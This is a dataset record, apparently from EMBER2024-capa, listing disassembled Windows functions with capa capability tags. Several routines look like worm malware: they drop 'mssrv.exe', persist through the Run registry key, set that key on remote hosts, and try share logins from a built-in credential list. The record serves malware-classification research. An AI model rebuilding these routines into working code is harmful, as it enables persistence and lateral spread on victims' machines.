joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001c2e
Capabilities:
Read .ini file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 0xc], 0
and dword [ebp - 0x14], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.msvcrt.dll_malloc]
mov ebx, 0x2710
push ebx
mov dword [ebp - 8], 0x1388
call edi
mov esi, eax
test esi, esi
pop ecx
je 0x1001d08
push ebx
call edi
test eax, eax
pop ecx
mov dword [ebp - 0x10], eax
jne 0x1001c7a
push esi
call dword [sym.imp.msvcrt.dll_free]
xor eax, eax
jmp 0x1001d84
push dword [ebp + 8]
xor eax, eax
push 0x1388
push esi
push dword [ebp + 0xc]
mov ecx, 0x4e2
mov edi, esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionW]
cmp eax, 0x1386
mov dword [ebp - 0x18], eax
jne 0x1001d0c
mov edi, dword [sym.imp.msvcrt.dll_realloc]
mov dword [ebp - 4], ebx
add dword [ebp - 4], 0xc8
push dword [ebp - 4]
add dword [ebp - 8], 0x64
push esi
call edi
push dword [ebp - 4]
mov esi, eax
push dword [ebp - 0x10]
call edi
add esp, 0x10
test esi, esi
mov ebx, eax
mov dword [ebp - 0x10], ebx
je 0x1001cfc
test ebx, ebx
je 0x1001cf4
push dword [ebp + 8]
push dword [ebp - 8]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionW]
mov ecx, dword [ebp - 8]
add ecx, 0xfffffffe
cmp eax, ecx
mov dword [ebp - 0x18], eax
je 0x1001caa
jmp 0x1001d0f
push esi
call dword [sym.imp.msvcrt.dll_free]
pop ecx
test ebx, ebx
je 0x1001d08
push ebx
call dword [sym.imp.msvcrt.dll_free]
pop ecx
xor eax, eax
jmp 0x1001d85
mov ebx, dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
call edi
and word [esi + eax*2], 0
call fcn.0100bb22
test eax, eax
mov dword [ebp + 8], eax
jne 0x1001d2d
xor edi, edi
jmp 0x1001d75
cmp dword [ebp - 0x18], 0
jbe 0x1001d72
mov eax, dword [ebp - 0xc]
lea ecx, [esi + eax*2]
mov eax, dword [ebp - 0x14]
mov dx, word [ecx]
mov word [ebx + eax*2], dx
inc eax
xor edx, edx
cmp word [ecx], dx
mov dword [ebp - 0x14], eax
jne 0x1001d67
push edx
push ebx
push dword [ebp + 8]
mov word [ebx + eax*2 + 2], dx
mov dword [ebp - 0x14], edx
call fcn.0100bf09
push ebx
call edi
test eax, eax
je 0x1001d29
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x18]
jb 0x1001d33
mov edi, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.msvcrt.dll_free]
call esi
push ebx
call esi
pop ecx
mov eax, edi
pop ecx
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x100227d
Capabilities:
Read .ini file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push 0x2710
mov ebx, 0x1388
call dword [sym.imp.msvcrt.dll_malloc]
test eax, eax
pop ecx
mov dword [ebp - 4], eax
jne 0x10022a4
or eax, 0xffffffff
jmp 0x100232a
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push edi
push dword [ebp + 8]
mov edi, 0x10012a0
push ebx
push eax
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
cmp eax, 0x1386
jne 0x10022f4
add ebx, 0x64
lea eax, [ebx + ebx]
push eax
push dword [ebp - 4]
call dword [sym.imp.msvcrt.dll_realloc]
test eax, eax
pop ecx
pop ecx
mov dword [ebp - 4], eax
je 0x1002314
push dword [ebp + 8]
push ebx
push eax
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
lea ecx, [ebx - 2]
cmp eax, ecx
je 0x10022c6
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0xfe
jg 0x1002319
push dword [ebp - 4]
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor esi, esi
jmp 0x100231c
or eax, 0xffffffff
jmp 0x1002328
or esi, 0xffffffff
push dword [ebp - 4]
call dword [sym.imp.msvcrt.dll_free]
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x100b894
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x10018a0
call fcn.0100ba98
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x100b8cf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100b8cf
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x100b8e7
cmp eax, 0x20b
je 0x100b8d4
mov dword [ebp - 0x1c], edi
jmp 0x100b8fb
cmp dword [ecx + 0x84], 0xe
jbe 0x100b8cf
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x100b8f5
cmp dword [ecx + 0x74], 0xe
jbe 0x100b8cf
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x101106c], 0xffffffff
or dword [0x1011070], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1011050]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x101104c]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1011074], eax
call fcn.0100ba90
cmp dword [0x1011030], edi
jne 0x100b956
push fcn.0100ba90
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.0100ba79
push 0x1011010
push 0x101100c
call sub.msvcrt.dll__initterm
mov eax, dword [0x1011048]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x1011044]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___wgetmainargs]
mov dword [ebp - 0x34], eax
push 0x1011008
push section..data
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x20]
mov ecx, dword [sym.imp.msvcrt.dll___winitenv]
mov dword [ecx], eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.0100b3d3
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x1c], edi
jne 0x100b9cd
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x100ba02
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0100bad3
ret
Function at 0x100da10
Capabilities:
Initialize winsock library

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x1011024]
and dword [ebp - 0x198], 0
cmp dword [0x1011054], 0
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x19c], eax
jne 0x100da74
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x100da6a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x100db1a
mov dword [0x1011054], 1
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
lea eax, [esi + 5]
push 1
push eax
call dword [sym.imp.msvcrt.dll_calloc]
mov edi, eax
test edi, edi
pop ecx
pop ecx
jne 0x100daa5
push 0x8007000e
call dword [sym.imp.KERNEL32.dll_SetLastError]
call fcn.0100cab5
jmp 0x100dae5
push esi
push edi
push ebx
call fcn.0100cb95
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [ebp - 0x198], eax
jne 0x100dace
push edi
call dword [sym.imp.msvcrt.dll_free]
pop ecx
push 0x800300fd
jmp 0x100da98
push 2
push 4
lea eax, [ebp - 0x198]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
mov esi, eax
test esi, esi
jne 0x100dae9
xor eax, eax
jmp 0x100db18
push edi
call dword [sym.imp.msvcrt.dll_free]
cmp dword [ebp + 0x10], 0
mov eax, dword [esi]
pop ecx
jne 0x100db07
push 0x1001988
push eax
call dword [sym.imp.msvcrt.dll_strtok]
pop ecx
pop ecx
push 0xf
push dword [ebp - 0x19c]
push eax
call fcn.0100cc40
xor eax, eax
inc eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
pop ebx
call fcn.0100b77c
leave
ret 0xc

Function at 0x100db50
Capabilities:
Get hostname

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x1011024]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x3f
xor edx, edx
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
cmp ebx, edx
lea edi, [ebp - 0x100]
mov dword [ebp - 0x104], edx
rep stosd dword es:[edi], eax
push 0x3f
pop ecx
lea edi, [ebp - 0x200]
mov dword [ebp - 0x204], edx
mov dword [ebp - 0x208], edx
rep stosd dword es:[edi], eax
je 0x100dc3f
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x100dc3f
mov esi, dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
mov edi, 0x80
push 4
mov dword [ebp - 0x208], edi
call esi
push 0
push 1
push ebx
lea eax, [ebp - 0x104]
push eax
call fcn.0100d22b
test eax, eax
je 0x100dc3f
push ebx
call fcn.0100d7f3
cmp eax, 1
jne 0x100dc0f
push 0
lea eax, [ebp - 0x204]
push eax
push ebx
call fcn.0100da10
test eax, eax
je 0x100dc42
push 0
push 1
lea eax, [ebp - 0x204]
push eax
jmp 0x100dc2c
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
push 7
mov dword [ebp - 0x208], edi
call esi
push 0
push 1
push ebx
lea eax, [ebp - 0x104]
push eax
call fcn.0100d22b
neg eax
sbb eax, eax
inc eax
jmp 0x100dc42
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0100b77c
leave
ret 4
Function at 0x100de92
Capabilities:
Connect network resource

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x1011024]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x408], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x410], eax
mov eax, dword [ebp + 0x14]
push 0x7e
mov dword [ebp - 0x40c], eax
pop ecx
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x404], ebx
lea edi, [ebp - 0x400]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x7e
pop ecx
mov dword [ebp - 0x204], ebx
xor eax, eax
lea edi, [ebp - 0x200]
rep stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
call fcn.0100db50
cmp eax, 1
jne 0x100df3f
cmp dword [ebp - 0x408], ebx
je 0x100df38
push dword [ebp - 0x408]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x100df38
mov esi, 0xa0010001
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x157e
call fcn.0100d783
push eax
call fcn.0100c82e
mov eax, esi
jmp 0x100e087
xor eax, eax
jmp 0x100e087
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
lea eax, [ebp - 0x204]
push eax
call edi
push esi
call fcn.0100db2c
cmp eax, 1
jne 0x100df67
add esi, 4
push esi
lea eax, [ebp - 0x204]
push eax
call edi
lea eax, [ebp - 0x204]
push eax
call fcn.0100d8e4
test eax, eax
jne 0x100df82
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x100e087
mov esi, 0x10011f8
push esi
lea eax, [ebp - 0x404]
push eax
call edi
cmp dword [ebp - 0x40c], ebx
je 0x100dfcd
push dword [ebp - 0x40c]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x100dfcd
push dword [ebp - 0x40c]
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x404]
push 0x10019b0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x100dfe9
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x404]
push 0x100198c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 8
pop ecx
xor eax, eax
push ebx
push dword [ebp - 0x408]
lea edi, [ebp - 0x430]
push dword [ebp - 0x410]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x404]
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x430]
push eax
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 0x414], ebx
mov dword [ebp - 0x420], ebx
call sub.MPR.dll_WNetAddConnection2W
mov edi, eax
cmp edi, ebx
je 0x100e049
cmp edi, 0x4b8
je 0x100e042
call fcn.0100cab5
jmp 0x100e085
call fcn.0100cb0c
jmp 0x100e085
push esi
xor edi, edi
call fcn.0100c82e
lea eax, [ebp - 0x204]
push eax
call fcn.0100dc56
cmp eax, 0x1388
jae 0x100e085
lea eax, [ebp - 0x204]
push eax
call fcn.0100de75
push 0x157f
call fcn.0100d783
push eax
call fcn.0100c82e
mov edi, 0x4b8
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0100b77c
leave
ret 0x10
Function at 0x100e0bc
Capabilities:
Get session user name

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x1011024]
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
mov dword [ebp - 0x20c], eax
mov eax, dword [ebp + 0x14]
xor edx, edx
push 0x7e
mov dword [ebp - 0x208], eax
pop ecx
mov dword [ebp - 0x204], edx
xor eax, eax
lea edi, [ebp - 0x200]
rep stosd dword es:[edi], eax
push edx
mov dword [ebp - 0x214], edx
stosw word es:[edi], ax
call esi
xor edi, edi
inc edi
cmp dword [ebp + 0x1c], edi
jne 0x100e137
cmp dword [ebp - 0x208], 0
je 0x100e137
push 0x1001568
push dword [ebp - 0x208]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x100e20e
and dword [ebp - 0x210], 0
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x100e160
push eax
push eax
push dword [ebp - 0x20c]
mov dword [ebp - 0x210], edi
call fcn.0100e09b
mov edi, eax
jmp 0x100e18e
mov eax, dword [ebp + 0x1c]
neg eax
sbb eax, eax
not eax
and eax, dword [ebp - 0x208]
push eax
push ebx
push dword [ebp - 0x20c]
call fcn.0100e09b
cmp dword [ebp + 0x1c], 0
mov edi, eax
jne 0x100e18e
mov dword [ebp - 0x210], 1
test edi, edi
jne 0x100e1ab
cmp dword [ebp - 0x210], 1
jne 0x100e2f2
push 0x50010001
call esi
jmp 0x100e2f2
mov eax, 0x4c3
cmp edi, eax
ja 0x100e1ec
je 0x100e2fa
cmp edi, 0x34
je 0x100e1cc
cmp edi, 0x56
je 0x100e208
cmp edi, 0x4be
jne 0x100e1db
push 0x4c6
call esi
call fcn.0100cab5
push edi
call esi
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0100b77c
leave
ret 0x18
cmp edi, 0x4cf
jb 0x100e1db
cmp edi, 0x4d1
jbe 0x100e1cc
cmp edi, 0x52e
jne 0x100e2d2
cmp dword [ebp + 0x1c], 0
je 0x100e1db
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call edi
test eax, eax
jne 0x100e232
lea eax, [ebp + 0x10]
push eax
push ebx
push 2
call sub.Secur32.dll_GetUserNameExW
test al, al
jne 0x100e232
call fcn.0100cab5
jmp 0x100e1db
push ebx
push 0x157d
call fcn.0100d783
push eax
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x204]
push eax
call edi
push eax
lea eax, [ebp - 0x204]
push eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0x40
push dword [ebp - 0x208]
call fcn.0100cf4e
push dword [ebp - 0x208]
push ebx
push dword [ebp - 0x20c]
call fcn.0100e09b
mov edi, eax
test edi, edi
je 0x100e2f2
cmp edi, 0x34
je 0x100e1cc
cmp edi, 0x4be
je 0x100e1cc
mov eax, 0x4c3
cmp edi, eax
je 0x100e2fa
cmp edi, 0x4ce
jbe 0x100e1db
cmp edi, 0x4d1
jbe 0x100e1cc
mov eax, 0xa0010001
cmp edi, eax
jne 0x100e1db
push eax
call esi
push 0x157e
call fcn.0100d783
push eax
call fcn.0100c82e
xor eax, eax
inc eax
jmp 0x100e1dd
push eax
jmp 0x100e1a4
Function at 0x401080
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
lea edi, [ebp - 3]
mov esi, section..rdata
push 3
pop ecx
nop
nop
rep movsb byte es:[edi], byte [esi]
sub ebx, ebx
push ebx
pop eax
movsx eax, al
add eax, 0x41
mov byte [ebp - 3], al
lea eax, [ebp - 3]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
mov dword [ebp + ebx*4 - 0x6c], eax
add ebx, 1
cmp ebx, 0x1a
jl 0x40109a
mov edi, dword [ebp + 8]
lea esi, [ebp - 0x6c]
push ebx
pop ebx
push 0x1a
pop ecx
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4010d0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push esi
push edi
lea edi, [ebp - 0x1fe]
mov esi, 0x40c003
mov ecx, 0x3f
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xff]
mov esi, 0x40c102
push 0x3f
pop ecx
push eax
pop eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x214], 0xff
lea edi, [ebp - 0x208]
mov esi, 0x40c201
push 2
pop ecx
push edx
pop edx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x209]
mov esi, 0x40c20b
pushfd
xor ecx, ecx
inc ecx
popfd
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x21c]
mov esi, 0x40c20c
push 8
pop ecx
nop
nop
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0x209]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHELL32.dll_FindExecutableA]
cmp eax, 0x20
jbe 0x4011e4
lea eax, [ebp - 0x210]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0x4011e4
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0xff]
push eax
push 0
push 0
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4011e4
push 0xa
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0xff]
push eax
call fcn.00403730
add esp, 0xc
or eax, eax
jne 0x4011e4
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pushfd
xor eax, eax
inc eax
popfd
jmp 0x4011f3
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401200
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x3c
push esi
push edi
lea edi, [ebp - 0x32]
mov esi, 0x40c214
push edi
pop edi
push 0xb
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3a]
mov esi, 0x40c242
push 8
pop ecx
push eax
pop eax
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push 2
push 0
lea eax, [ebp - 0x32]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401279
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3a]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40126f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40127e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401290
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
push edi
lea edi, [ebp - 0x36]
mov esi, 0x40c24a
nop
push 0xb
nop
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3e]
mov esi, str.mssrv32
nop
push 8
nop
pop ecx
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push reloc.WS2_32.dll_bind
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
jne 0x40131f
lea eax, [ebp - 8]
push eax
push 2
push 0
lea eax, [ebp - 0x36]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0x401329
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3e]
push eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x401329
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x401338
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401340
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
call fcn.004010d0
cmp eax, 1
je 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str.mssrv.exe
lea eax, [ebp - 0xff]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0xff]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
add esp, 8
test eax, eax
jne 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call fcn.00401200
add esp, 8
push ebp
pop esp
pop ebp
ret
Function at 0x4013b0
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x39c
push ebx
push esi
push edi
xor ebx, ebx
lea edi, [ebp - 0x74]
mov esi, 0x40c280
push 0x1d
pop ecx
pushal
popal
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x39c], eax
lea ecx, [ebp - 0x193]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4013e1
pop eax
lea ecx, [ebp - 0x292]
mov eax, dword [ebp - 0x39c]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4013ff
pop eax
lea eax, [ebp - 0x292]
push eax
call fcn.00401cf0
pop ecx
mov dword [ebp - 0x94], 2
mov dword [ebp - 0x90], 1
mov dword [ebp - 0x8c], 3
mov dword [ebp - 0x88], 1
mov dword [ebp - 0x84], 0
lea eax, [ebp - 0x193]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
push 0
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x94]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov dword [ebp - 0x398], eax
jmp 0x401483
add ebx, 1
mov eax, dword [ebp + ebx*4 - 0x74]
test eax, eax
jne 0x401480
push ebx
push 0
call fcn.00401c90
add esp, 8
lea ecx, [ebp - 0x391]
mov edx, dword [ebp + eax*4 - 0x74]
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4014a3
pop eax
push 0x40c33c
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0x391]
push eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
add esp, 8
or eax, eax
jne 0x401511
lea eax, [ebp - 0x292]
push eax
push 4
mov eax, dword [ebp + 8]
push eax
call fcn.00401290
add esp, 0xc
push 1
push 1
lea eax, [ebp - 0x193]
push eax
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x401526
push 1
push 1
lea eax, [ebp - 0x193]
push eax
call sub.MPR.dll_WNetCancelConnection2A
push 1
pop eax
push edi
pop edi
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x401530
Capabilities:
Get hostname

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x104], 0xff
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
push ebx
pop ecx
mov edx, 0x40c339
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x401565
pop eax
lea eax, [ebp - 0xff]
push eax
push ebx
call fcn.00403780
add esp, 8
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
sub ebx, ebx
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
call fcn.00401cb0
cmp eax, 4
jb 0x401c86
push 0
call fcn.00404760
pop ecx
push eax
call fcn.004047b0
pop ecx
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4027b0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4026b0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x402830
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
call fcn.00402430
call fcn.00403680
mov ecx, 0x3e8
cdq
idiv ecx
lea eax, [edx + 1]
push eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push str.mutex666
push 0
push 0x100000
call dword [sym.imp.KERNEL32.DLL_OpenMutexA]
push eax
pop ebx
test ebx, ebx
je 0x401c57
push ebx
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
jmp 0x401c73
push str.mutex666
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov ebx, eax
test ebx, ebx
je 0x401c73
call fcn.00401a70
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
or ebx, ebx
jne 0x401c36
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10